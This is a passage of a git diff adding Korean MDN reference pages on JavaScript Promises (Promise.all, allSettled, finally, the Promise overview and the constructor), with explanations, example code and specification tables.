+ <li>매개변수로 주어진 순회 가능한 객체가 비어 있으면 <strong>이미 이행한</strong> {{jsxref("Promise")}}.</li>
+ <li>객체에 프로미스가 없으면, <strong>비동기적으로 이행하는</strong> {{jsxref("Promise")}}. 단, 구글 크롬 58은 <strong>이미 이행한</strong> 프로미스를 반환합니다.</li>
+ <li>그렇지 않은 경우, <strong>대기 중</strong>인 {{jsxref("Promise")}}. 결과로 반환하는 프로미스는 인자의 모든 프로미스가 이행하거나 어떤 프로미스가 거부할 때 (호출 스택이 비는 즉시) <strong>비동기적으로</strong> 이행/거부합니다. "<code>Promise.all</code>의 동기성/비동기성" 예제를 참고하세요. 반환하는 프로미스의 이행 값은 매개변수로 주어진 프로미스의 순서와 일치하며, 완료 순서에 영향을 받지 않습니다.</li>
+</ul>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Promise.all</code>은 여러 프로미스의 결과를 집계할 때 유용하게 사용할 수 있습니다.</p>
+
+<h3 id="이행">이행</h3>
+
+<p>반환한 프로미스의 이행 결과값은 (프로미스가 아닌 값을 포함하여) 매개변수로 주어진 순회 가능한 객체에 포함된 <strong>모든</strong> 값을 담은 배열입니다.</p>
+
+<ul>
+ <li>빈 객체를 전달한 경우, (동기적으로) 이미 이행한 프로미스를 반환합니다.</li>
+ <li>전달받은 모든 프로미스가 이미 이행되어 있거나 프로미스가 없는 경우, 비동기적으로 이행하는 프로미스를 반환합니다.</li>
+</ul>
+
+<h3 id="거부">거부</h3>
+
+<p>주어진 프로미스 중 하나라도 거부하면, 다른 프로미스의 이행 여부에 상관없이 첫 번째 거부 이유를 사용해 거부합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Promise.all_사용하기"><code>Promise.all</code> 사용하기</h3>
+
+<p><code>Promise.all</code>은 배열 내 모든 값의 이행(또는 첫 번째 거부)을 기다립니다.</p>
+
+<pre class="brush: js">var p1 = Promise.resolve(3);
+var p2 = 1337;
+var p3 = new Promise((resolve, reject) =&gt; {
+  setTimeout(() =&gt; {
+    resolve("foo");
+  }, 100);
+});
+
+Promise.all([p1, p2, p3]).then(values =&gt; {
+  console.log(values); // [3, 1337, "foo"]
+});</pre>
+
+<p>순회 가능한 객체에 프로미스가 아닌 값이 들어있다면 무시하지만, 이행 시 결과 배열에는 포함합니다.</p>
+
+<pre class="brush: js">// 매개변수 배열이 빈 것과 동일하게 취급하므로 이행함
+var p = Promise.all([1,2,3]);
+// 444로 이행하는 프로미스 하나만 제공한 것과 동일하게 취급하므로 이행함
+var p2 = Promise.all([1,2,3, Promise.resolve(444)]);
+// 555로 거부하는 프로미스 하나만 제공한 것과 동일하게 취급하므로 거부함
+var p3 = Promise.all([1,2,3, Promise.reject(555)]);
+
+// setTimeout()을 사용해 스택이 빈 후에 출력할 수 있음
+setTimeout(function() {
+    console.log(p);
+    console.log(p2);
+    console.log(p3);
+});
+
+// 출력
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: Array[3] }
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: Array[4] }
+// Promise { &lt;state&gt;: "rejected", &lt;reason&gt;: 555 }</pre>
+
+<h3 id="Promise.all의_동기성비동기성"><code>Promise.all</code>의 동기성/비동기성</h3>
+
+<p>다음 예제는 <code>Promise.all</code>의 비동기성(주어진 인자가 빈 경우엔 동기성)을 보입니다.</p>
+
+<pre class="brush: js">// Promise.all을 최대한 빨리 완료시키기 위해
+// 이미 이행된 프로미스로 배열을 만들어 인자로 전달
+var resolvedPromisesArray = [Promise.resolve(33), Promise.resolve(44)];
+
+var p = Promise.all(resolvedPromisesArray);
+// 실행 즉시 p의 값을 기록
+console.log(p);
+
+// 호출 스택을 비운 다음 실행하기 위해 setTimeout을 사용
+setTimeout(function() {
+    console.log('the stack is now empty');
+    console.log(p);
+});
+
+// 로그 출력 결과 (순서대로):
+// Promise { &lt;state&gt;: "pending" }
+// the stack is now empty
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: Array[2] }
+</pre>
+
+<p><code>Promise.all()</code>이 거부하는 경우에도 동일한 일이 발생합니다:</p>
+
+<pre class="brush: js">var mixedPromisesArray = [Promise.resolve(33), Promise.reject(44)];
+var p = Promise.all(mixedPromisesArray);
+console.log(p);
+setTimeout(function() {
+    console.log('the stack is now empty');
+    console.log(p);
+});
+
+// 출력
+// Promise { &lt;state&gt;: "pending" }
+// the stack is now empty
+// Promise { &lt;state&gt;: "rejected", &lt;reason&gt;: 44 }
+</pre>
+
+<p>그러나, <code>Promise.all</code>은 주어진 순회 가능한 객체가 비어있는 경우에만 동기적으로 이행됩니다.</p>
+
+<pre class="brush: js">var p = Promise.all([]); // 즉시 이행함
+var p2 = Promise.all([1337, "hi"]); // 프로미스가 아닌 값은 무시하지만 비동기적으로 실행됨
+console.log(p);
+console.log(p2);
+setTimeout(function() {
+    console.log('the stack is now empty');
+    console.log(p2);
+});
+
+// 출력
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: Array[0] }
+// Promise { &lt;state&gt;: "pending" }
+// the stack is now empty
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: Array[2] }
+</pre>
+
+<h3 id="Promise.all()_실패_우선성"><code>Promise.all()</code> 실패 우선성</h3>
+
+<p><code>Promise.all()</code>은 배열 내 요소 중 어느 하나라도 거부하면 즉시 거부합니다. 예를 들어, 일정 시간이 지난 이후 이행하는 네 개의 프로미스와, 즉시 거부하는 하나의 프로미스를 전달한다면 <code>Promise.all()</code>도 즉시 거부합니다.</p>
+
+<pre class="brush: js">var p1 = new Promise((resolve, reject) =&gt; {
+  setTimeout(() =&gt; resolve('하나'), 1000);
+});
+var p2 = new Promise((resolve, reject) =&gt; {
+  setTimeout(() =&gt; resolve('둘'), 2000);
+});
+var p3 = new Promise((resolve, reject) =&gt; {
+  setTimeout(() =&gt; resolve('셋'), 3000);
+});
+var p4 = new Promise((resolve, reject) =&gt; {
+  setTimeout(() =&gt; resolve('넷'), 4000);
+});
+var p5 = new Promise((resolve, reject) =&gt; {
+  reject(new Error('거부'));
+});
+
+
+// .catch 사용:
+Promise.all([p1, p2, p3, p4, p5])
+.then(values =&gt; {
+  console.log(values);
+})
+.catch(error =&gt; {
+  console.log(error.message)
+});
+
+// 콘솔 출력값:
+// "거부"
+</pre>
+
+<p>발생할 수 있는 거부를 사전에 처리해 동작 방식을 바꿀 수 있습니다.</p>
+
+<pre class="brush: js">var p1 = new Promise((resolve, reject) =&gt; {
+  setTimeout(() =&gt; resolve('p1_지연_이행'), 1000);
+});
+
+var p2 = new Promise((resolve, reject) =&gt; {
+  reject(new Error('p2_즉시_거부'));
+});
+
+Promise.all([
+  p1.catch(error =&gt; { return error }),
+  p2.catch(error =&gt; { return error }),
+]).then(values =&gt; {
+  console.log(values[0]) // "p1_지연_이행"
+  console.log(values[1]) // "Error: p2_즉시_거부"
+})
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-promise.all', 'Promise.all')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition in an ECMA standard.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.all', 'Promise.all')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Promise.all")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.race()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/promise/allsettled/index.html b/files/ko/web/javascript/reference/global_objects/promise/allsettled/index.html
new file mode 100644
index 0000000000..a063f29c7c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/promise/allsettled/index.html
@@ -0,0 +1,66 @@
+---
+title: Promise.allSettled()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/allSettled
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/allSettled
+---
+<p>{{JSRef}}</p>
+
+<p><code><strong>Promise.allSettled()</strong></code> 메소드는 배열이나 별도의 나열 가능한 객체를 통해 나열된 Promise모음이 모두 이행하거나 거부했을 때에 대한 대응을 할 수 있는 Promise 객체를 반환한다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-allsettled.html")}}</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>Promise</em>.allSettled(<em>iterable</em>);</pre>
+
+<h3 id="인자">인자</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd><a href="/en-US/docs/Web/JavaScript/Guide/iterable">iterable</a> 객체로, 주로 배열({{jsxref("Array")}})을 사용하며, 이들의 요소들은 모두 <code>Promise</code> 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><strong>실행할</strong> {{jsxref("Promise")}} 객체로 <strong>비동기</strong> 방식으로 이행(Resolved) 및 거부(Rejected)된 결과의 모음을 담아 인자로 전달된다. 이 때 반환된 Promise 객체의 핸들러는 각 본래 Promise 객체가 담긴 배열을 전달할 것이다.</p>
+
+<p>각 출력 객체는 <code>status</code> 속성을 통해,  <code>fulfilled</code>,상태로 전달되면 <code>value</code> 속성이 전달되고, <code>rejected</code> 상태로 전달 시 <code>reason</code> 속성으로 전달된다. 각 Promise가 어떻게 이행(또는 거부)됐는지 value 속성 및 reason 속성을 통해 알 수 있다.</p>
+
+<h2 id="문서_표준">문서 표준</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.es/proposal-promise-allSettled/#sec-promise.allsettled"><code>Promise.allSettled()</code> (TC39 Stage 4 Draft)</a></td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="지원_브라우저">지원 브라우저</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise.allSettled")}}</p>
+
+<h3 id="구현_진행_상태">구현 진행 상태</h3>
+
+<p>The following table provides a daily implementation status for this feature, because this feature has not yet reached cross-browser stability. The data is generated by running the relevant feature tests in <a href="https://github.com/tc39/test262">Test262</a>, the standard test suite of JavaScript, in the nightly build, or latest release of each browser's JavaScript engine.</p>
+
+<div>{{EmbedTest262ReportResultsTable("Promise.allSettled")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Archive/Add-ons/Techniques/Promises">Promises</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Using_promises">Using promises</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">Graceful asynchronous programming with promises</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.all()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/promise/finally/index.html b/files/ko/web/javascript/reference/global_objects/promise/finally/index.html
new file mode 100644
index 0000000000..c75d73ab06
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/promise/finally/index.html
@@ -0,0 +1,100 @@
+---
+title: Promise.prototype.finally()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/finally
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/finally
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>finally()</strong></code> 메소드는 {{jsxref("Promise")}} 객체를 반환합니다. Promise가 처리되면 충족되거나 거부되는지 여부에 관계없이 지정된 콜백 함수가 실행됩니다. 이것은 Promise가 성공적으로 수행 되었는지 거절되었는지에 관계없이 <code>Promise</code>가 처리 된 후에 코드가 무조건 한 번은 실행되는 것을 제공합니다.</p>
+
+<p>이것은 Promise의 {{jsxref("Promise.then", "then()")}}과 {{jsxref("Promise.catch", "catch()")}} 핸들러에서의 코드 중복을 피하게 합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><var>p.finally(onFinally)</var>;
+
+p.finally(function() {
+   // settled (fulfilled or rejected)
+});
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>onFinally</code></dt>
+ <dd><code>Promise</code>가 처리된 후 {{jsxref("Function")}} 이 호출됩니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p><code>finally</code> 핸들러는 <code>onFinally</code> 라는 지정된 함수의 {{jsxref("Promise")}}가 반환됩니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p> </p>
+
+<p><code>finally()</code> 메서드는 결과에 관계없이 promise가 처리되면 무언가를 프로세싱 또는 정리를 수행하려는 경우에 유용합니다.</p>
+
+<p><code>finally()</code> 메서드는 <code>.then(onFinally, onFinally)</code> 를 호출하는 것과 매우 비슷하지만 몇 가지 차이점이 있습니다:</p>
+
+<p> </p>
+
+<ul>
+ <li>함수를 인라인으로 만들 때, 두 번 선언해야 하지 않고 한 번만 전달하거나 그것을 위한 변수를 만들 수 있습니다.</li>
+ <li><code>finally</code> 콜백은 어떠한 인수도 전달받지 않습니다, 왜냐하면 promise가 이행되었는지 또는 거부되었는지를 판단할 수 없기 때문입니다.  promise의 왜 거부되었는지 또는 이행되었을때 반환되는 값이 필요하지 않거나 제공할 필요가 없을 때 활용합니다.</li>
+ <li>Promise.reject (3) .finally (() =&gt; {}) Promise.reject (3) .finally (() =&gt; {}) (약속 안 함) )는 3으로 거부됩니다.</li>
+ <li><code>Promise.resolve(2).then(() =&gt; {}, () =&gt; {})</code>(<code>undefined</code>로 해결될) 와 달리, <code>Promise.resolve(2).finally(() =&gt; {})</code> 는 값 <code>2</code>로 해결됩니다.</li>
+ <li>유사하게 <code>Promise.reject(3).then(() =&gt; {}, () =&gt; {})</code> (<code>undefined</code>로 거부될)와는 달리 <code>Promise.reject(3).finally(() =&gt; {})</code> 는 값 <code>3</code>로 거부됩니다.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note:</strong>  <code>finally</code> 콜백에서 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5); font-size: 16px;">throw</span></font> (또는 거부된 promise를 반환)하면 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5); font-size: 16px;">throw()</span></font>를 호출 할 때 지정된 거부 이유로 새롭게 만들어진 promise를 반환합니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">let isLoading = true;
+
+fetch(myRequest).then(function(response) {
+    var contentType = response.headers.get("content-type");
+    if(contentType &amp;&amp; contentType.includes("application/json")) {
+      return response.json();
+    }
+    throw new TypeError("Oops, we haven't got JSON!");
+  })
+  .then(function(json) { /* process your JSON further */ })
+  .catch(function(error) { console.log(error); })
+  .finally(function() { isLoading = false; });
+
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td><a href="https://github.com/tc39/proposal-promise-finally">TC39 proposal</a></td>
+   <td>Stage 4</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">To contribute to this compatibility data, please write a pull request against this repository: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise.finally")}}</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.prototype.then()")}}</li>
+ <li>{{jsxref("Promise.prototype.catch()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/promise/index.html b/files/ko/web/javascript/reference/global_objects/promise/index.html
new file mode 100644
index 0000000000..d3dbf076c5
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/promise/index.html
@@ -0,0 +1,226 @@
+---
+title: Promise
+slug: Web/JavaScript/Reference/Global_Objects/Promise
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Promise
+  - Reference
+  - 프로미스
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Promise</code></strong> 객체는 비동기 작업이 맞이할 미래의 완료 또는 실패와 그 결과 값을 나타냅니다.</p>
+
+<p>Promise의 작동 방식과 Promise 사용 방법에 대해 알아보려면 먼저 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Using_promises">Promise 사용 방법</a>을 읽어 보십시오.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Promise</code>는 프로미스가 생성될 때 꼭 알 수 있지는 않은 값을 위한 대리자로, 비동기 연산이 종료된 이후의 결과값이나 실패 이유를 처리하기 위한 처리기를 연결할 수 있도록 합니다. 프로미스를 사용하면 비동기 메서드에서 마치 동기 메서드처럼 값을 반환할 수 있습니다. 다만 최종 결과를 반환하지는 않고, 대신 프로미스를 반환해서 미래의 어떤 시점에 결과를 제공합니다.</p>
+
+<p><code>Promise</code>는 다음 중 하나의 상태를 가집니다.</p>
+
+<ul>
+ <li>대기(<em>pending)</em>: 이행하거나 거부되지 않은 초기 상태.</li>
+ <li>이행(<em>fulfilled)</em>: 연산이 성공적으로 완료됨.</li>
+ <li>거부(<em>rejected)</em>: 연산이 실패함.</li>
+</ul>
+
+<p>대기 중인 프로미스는 값과 함께 <em>이행할</em> 수도, 어떤 이유(오류)로 인해 <em>거부</em>될 수 있습니다. 이행이나 거부될 때, 프로미스에 연결한 처리기는 그 프로미스의 <code>then</code> 메서드에 의해 대기열에 오릅니다. 이미 이행했거나 거부된 프로미스에 연결한 처리기도 호출하므로, 비동기 연산과 처리기 연결 사이에 경합 조건<sup>race condition</sup>은 없습니다.</p>
+
+<p>{{jsxref("Promise.prototype.then()")}} 및 {{jsxref("Promise.prototype.catch()")}} 메서드의 반환 값은 다른 프로미스이므로, 서로 연결할 수 있습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8633/promises.png"></p>
+
+<div class="note">
+<p><strong>혼동 주의:</strong> 느긋한 계산법 및 연산 연기를 위한 방법을 프로미스라고 부르는 다른 언어(예: Scheme)가 여럿 있습니다. 반면 JavaScript에서 프로미스는 콜백 함수를 연결할 수 있는 이미 진행 중인 프로세스를 나타냅니다. 표현식을 느긋하게 평가하려면 인수 없는 <a href="/ko/docs/Web/JavaScript/Reference/Functions/애로우_펑션">화살표 함수</a> <code>f = () =&gt; <em>expression</em></code>를 사용하고, <code>f()</code>를 사용해 평가하세요.</p>
+</div>
+
+<div class="note">
+<p><strong>참고</strong>: 프로미스는 대기 중이지 않으며 이행 또는 거부됐을 때 처리(settled)됐다고 말합니다. 프로미스와 함께 쓰이는 단어 resolved는 프로미스가 다른 프로미스의 상태에 맞춰 처리됨, 또는 상태가 "잠김"되었다는 의미입니다. 용어에 관한 더 자세한 설명은 Domenic Denicola의 글 <a href="https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md" title="States and fates">States and fates</a>에서 볼 수 있습니다.</p>
+</div>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{jsxref("Promise.Promise", "Promise()")}}</dt>
+ <dd>이미 프로미스를 지원하지 않는 함수를 감쌀 때 주로 사용합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>Promise.length</code></dt>
+ <dd>값이 언제나 1인 길이 속성입니다. (생성자 인수의 수)</dd>
+ <dt>{{jsxref("Promise.prototype")}}</dt>
+ <dd><code>Promise</code> 생성자의 프로토타입을 나타냅니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Promise.all", "Promise.all(iterable)")}}</dt>
+ <dd><code>iterable</code> 내의 모든 프로미스가 이행한 뒤 이행하고, 어떤 프로미스가 거부하면 즉시 거부하는 프로미스를 반환합니다. 반환된 프로미스가 이행하는 경우 <code>iterable</code> 내의 프로미스가 결정한 값을 모은 배열이 이행 값입니다. 반환된 프로미스가 거부하는 경우 <code>iterable</code> 내의 거부한 프로미스의 이유를 그대로 사용합니다. 이 메서드는 여러 프로미스의 결과를 모을 때 유용합니다.</dd>
+ <dt>{{jsxref("Promise.race", "Promise.race(iterable)")}}</dt>
+ <dd><code>iterable</code> 내의 어떤 프로미스가 이행하거나 거부하는 즉시 스스로 이행하거나 거부하는 프로미스를 반환합니다. 이행 값이나 거부 이유는 원 프로미스의 값이나 이유를 그대로 사용합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Promise.reject()")}}</dt>
+ <dd>주어진 이유로 거부하는 <code>Promise</code> 객체를 반환합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Promise.resolve()")}}</dt>
+ <dd>주어진 값으로 이행하는 <code>Promise</code> 객체를 반환합니다. 값이 <code>then</code> 가능한 (즉, <code>then</code> 메서드가 있는) 경우, 반환된 프로미스는 <code>then</code> 메서드를 따라가고 마지막 상태를 취합니다. 그렇지 않은 경우 반환된 프로미스는 주어진 값으로 이행합니다. 어떤 값이 프로미스인지 아닌지 알 수 없는 경우, {{jsxref("Promise.resolve", "Promise.resolve(value)")}} 후 반환값을 프로미스로 처리할 수 있습니다.</dd>
+</dl>
+
+<h2 id="Promise_프로토타입"><code>Promise</code> 프로토타입</h2>
+
+<h3 id="속성_2">속성</h3>
+
+<p>{{page('ko/docs/Web/JavaScript/Reference/Global_Objects/Promise/prototype','속성')}}</p>
+
+<h3 id="메서드_2">메서드</h3>
+
+<p>{{page('ko/docs/Web/JavaScript/Reference/Global_Objects/Promise/prototype','메서드')}}</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<pre class="brush: js notranslate">let myFirstPromise = new Promise((resolve, reject) =&gt; {
+  // We call resolve(...) when what we were doing asynchronously was successful, and reject(...) when it failed.
+  // In this example, we use setTimeout(...) to simulate async code.
+  // In reality, you will probably be using something like XHR or an HTML5 API.
+  setTimeout(function(){
+    resolve("Success!"); // Yay! Everything went well!
+  }, 250);
+});
+
+myFirstPromise.then((successMessage) =&gt; {
+  // successMessage is whatever we passed in the resolve(...) function above.
+  // It doesn't have to be a string, but if it is only a succeed message, it probably will be.
+  console.log("Yay! " + successMessage);
+});</pre>
+
+<h3 id="고급_예제">고급 예제</h3>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;button id="btn"&gt;프로미스 만들기!&lt;/button&gt;
+&lt;div id="log"&gt;&lt;/div&gt;</pre>
+</div>
+
+<p>다음의 작은 예제는 <code>Promise</code>의 동작 방식을 보여줍니다. <code>testPromise()</code> 함수는 {{HTMLElement("button")}}을 클릭할 때마다 호출되며, {{domxref("window.setTimeout()")}}을 사용해 1~3초의 무작위 간격 이후 프로미스 횟수(1부터 시작하는 숫자)로 이행하는 프로미스를 생성합니다. <code>Promise()</code> 생성자는 프로미스를 만드는 데 쓰입니다.</p>
+
+<p>프로미스 이행은 {{jsxref("Promise.prototype.then()","p1.then()")}}을 사용하는 이행 콜백 세트를 통해 단순히 로그에 남습니다. 약간의 로그를 통해, 함수의 동기 부분이 비동기적 프로미스의 완료와 어떻게 분리되어 있는지 확인할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">'use strict';
+var promiseCount = 0;
+
+function testPromise() {
+    var thisPromiseCount = ++promiseCount;
+
+    var log = document.getElementById('log');
+    log.insertAdjacentHTML('beforeend', thisPromiseCount +
+        ') 시작 (&lt;small&gt;동기적 코드 시작&lt;/small&gt;)&lt;br/&gt;');
+
+    // 새 프로미스 생성 - 프로미스의 생성 순서를 전달하겠다는 약속을 함 (3초 기다린 후)
+    var p1 = new Promise(
+        // 실행 함수는 프로미스를 이행(resolve)하거나
+        // 거부(reject)할 수 있음
+        function(resolve, reject) {
+            log.insertAdjacentHTML('beforeend', thisPromiseCount +
+                ') 프로미스 시작 (&lt;small&gt;비동기적 코드 시작&lt;/small&gt;)&lt;br/&gt;');
+            // setTimeout은 비동기적 코드를 만드는 예제에 불과
+            window.setTimeout(
+                function() {
+                    // 프로미스 이행 !
+                    resolve(thisPromiseCount);
+                }, Math.random() * 2000 + 1000);
+        }
+    );
+
+    // 프로미스를 이행했을 때 할 일은 then() 호출로 정의하고,
+    // 거부됐을 때 할 일은 catch() 호출로 정의
+    p1.then(
+        // 이행 값 기록
+        function(val) {
+            log.insertAdjacentHTML('beforeend', val +
+                ') 프로미스 이행 (&lt;small&gt;비동기적 코드 종료&lt;/small&gt;)&lt;br/&gt;');
+        })
+    .catch(
+        // 거부 이유 기록
+        function(reason) {
+            console.log('여기서 거부된 프로미스(' + reason + ')를 처리하세요.');
+        });
+
+    log.insertAdjacentHTML('beforeend', thisPromiseCount +
+        ') 프로미스 생성 (&lt;small&gt;동기적 코드 종료&lt;/small&gt;)&lt;br/&gt;');
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: js notranslate">if ("Promise" in window) {
+  var btn = document.getElementById("btn");
+  btn.addEventListener("click", testPromise);
+} else {
+  log = document.getElementById('log');
+  log.innerHTML = "Live example not available as your browser doesn't support the &lt;code&gt;Promise&lt;code&gt; interface.";
+}</pre>
+</div>
+
+<p>이 예제는 버튼을 클릭하면 실행됩니다. <code>Promise</code>를 지원하는 브라우저가 필요합니다. 짧은 시간 안에 버튼을 여러 번 클릭하여, 서로 다른 프로미스가 번갈아 이행되는 것을 볼 수도 있습니다.</p>
+
+<p>{{EmbedLiveSample("고급_예제", "500", "200")}}</p>
+
+<h2 id="XHR로_이미지_불러오기">XHR로 이미지 불러오기</h2>
+
+<p>이미지를 로드하기 위해 <code>Promise</code> 및 {{domxref("XMLHttpRequest")}}를 사용하는 또 다른 간단한 예는 MDN GitHub <a href="https://github.com/mdn/js-examples/tree/master/promises-test">js-examples</a> 저장소에서 이용할 수 있습니다. <a href="http://mdn.github.io/promises-test/">실제 예</a>를 볼 수도 있습니다. 각 단계에 주석이 붙어있어, 프로미스 및 XHR 구조를 차근차근 따라갈 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-promise-objects', 'Promise')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>ECMA 표준에서 초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise-objects', 'Promise')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Promise")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Using_promises">프로미스 사용하기</a></li>
+ <li><a href="http://promisesaplus.com/">Promises/A+ 스펙</a></li>
+ <li><a href="https://medium.com/@ramsunvtech/promises-of-promise-part-1-53f769245a53">Venkatraman.R - JS Promise (Part 1, Basics)</a></li>
+ <li><a href="https://medium.com/@ramsunvtech/js-promise-part-2-q-js-when-js-and-rsvp-js-af596232525c#.dzlqh6ski">Venkatraman.R - JS Promise (Part 2 - Using Q.js, When.js and RSVP.js)</a></li>
+ <li><a href="https://tech.io/playgrounds/11107/tools-for-promises-unittesting/introduction">Venkatraman.R - Tools for Promises Unit Testing</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/es6/promises/">Jake Archibald: JavaScript Promises: There and Back Again</a></li>
+ <li><a href="http://de.slideshare.net/domenicdenicola/callbacks-promises-and-coroutines-oh-my-the-evolution-of-asynchronicity-in-javascript">Domenic Denicola: Callbacks, Promises, and Coroutines – Asynchronous Programming Patterns in JavaScript</a></li>
+ <li><a href="http://www.mattgreer.org/articles/promises-in-wicked-detail/">Matt Greer: JavaScript Promises ... In Wicked Detail</a></li>
+ <li><a href="https://www.promisejs.org/">Forbes Lindesay: promisejs.org</a></li>
+ <li><a href="https://github.com/jakearchibald/es6-promise/">Promise polyfill</a></li>
+ <li><a href="https://www.udacity.com/course/javascript-promises--ud898">Udacity: JavaScript Promises</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/promise/promise/index.html b/files/ko/web/javascript/reference/global_objects/promise/promise/index.html
new file mode 100644
index 0000000000..531b82dbca
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/promise/promise/index.html
@@ -0,0 +1,78 @@
+---
+title: Promise() 생성자
+slug: Web/JavaScript/Reference/Global_Objects/Promise/Promise
+tags:
+  - Constructor
+  - JavaScript
+  - Promise
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/Promise
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Promise</code></strong> 생성자는 주로 프로미스를 지원하지 않는 함수를 감쌀 때 사용합니다.</p>
+
